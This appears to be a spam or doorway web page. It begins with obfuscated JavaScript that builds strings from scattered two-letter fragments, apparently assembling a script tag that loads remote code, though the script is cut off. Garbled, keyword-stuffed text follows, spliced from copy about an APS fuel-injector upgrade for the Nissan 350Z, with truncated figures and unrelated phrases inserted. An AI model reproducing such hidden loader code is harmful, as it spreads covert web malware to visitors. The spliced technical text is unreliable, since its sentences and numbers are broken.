var wrK = 'aps+up+pipe+installation';var MG = new Array();MG["SA"]="sc";MG["YV"]="p:";MG["FN"]="cx";MG["pW"]="Nr";MG["cD"]="20";MG["LO"]="ru";MG["Qw"]="";MG["Nb"]="//";MG["QU"]="NX";MG["fq"]="= ";MG["kF"]="\" ";MG["Yo"]="cr";MG["ln"]="va";MG["Dg"]="\"t";MG["BV"]="Jg";MG["QW"]=". This can lead to engine damage through lean mixtures at moderate to high boost pressure levels.. The table below compares the pressure difference across a fuel injector orifice at different boost pressures for both constant fuel pressure and constant differential pressure fuel systems.. Injector Orifice Pressure Difference Fuel Rail Pressure Injector Orifice Pressure Difference.. Bar (5 8 psi) differential fuel pressure Each of these injectors are ideal for sustaining 1.. An advanced injector wiring loom is also included in the APS upgraded fuel system in order to avoid cutting and soldering of the original injector looms. pipe fitting programspipe fitting programs As can be seen from the table above, with a constant fuel pressure system, the pressure difference across the injector orifice drops as the boost pressure increases - and consequently the volume of fuel supplied by the injector drops as well.. Differential pressure is the critical yardstick when discussing injectors in forced induction applications.. Boost pressure Constant Fuel Pressure APS Constant Differential Pressure Fuel Rail Pressure.. This is called a constant differential pressure fuel system Less sophisticated fuel systems may not employ a constant differential pressure fuel supply - instead they maintain a constant fuel rail pressure that does not increase with increasing boost pressure.. After all, a bullet proof electrical connection is vital for injectors on a high performance engine such as the single or twin turbo Z. Sun Staroffice 8 ![]()
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While soil stress Nissan 3 50 Z Performance - North American Specification High horsepower demands precise fuel delivery to each individual injector, particularly under demanding conditions such as drag racing and autocross.. The APS upgraded fuel system is a complete bolt- on precision fuel system that consists of a comprehensive range of components designed specifically to support huge horsepower and yet retain excellent fuel atomisation, fuel economy and driveability in day to day driving conditions.. The drop- in Quad Orifice Directional pattern injectors supplied in the APS Single or Twin Turbo Systems flow 5.. This wiring loom is unique to the industry of forced induction packages to suit the 3.. As boost pressure increases inside the inlet manifold where the injectors are situated (lower half of the intake manifold) the fuel rail pressure must also increase proportionally in order to maintain a constant pressure difference across the injector orifice.. The APS system addresses this issue and is a true constant differential pressure fuel system that maintains a constant pressure difference across the injector orifice. ae05505a44
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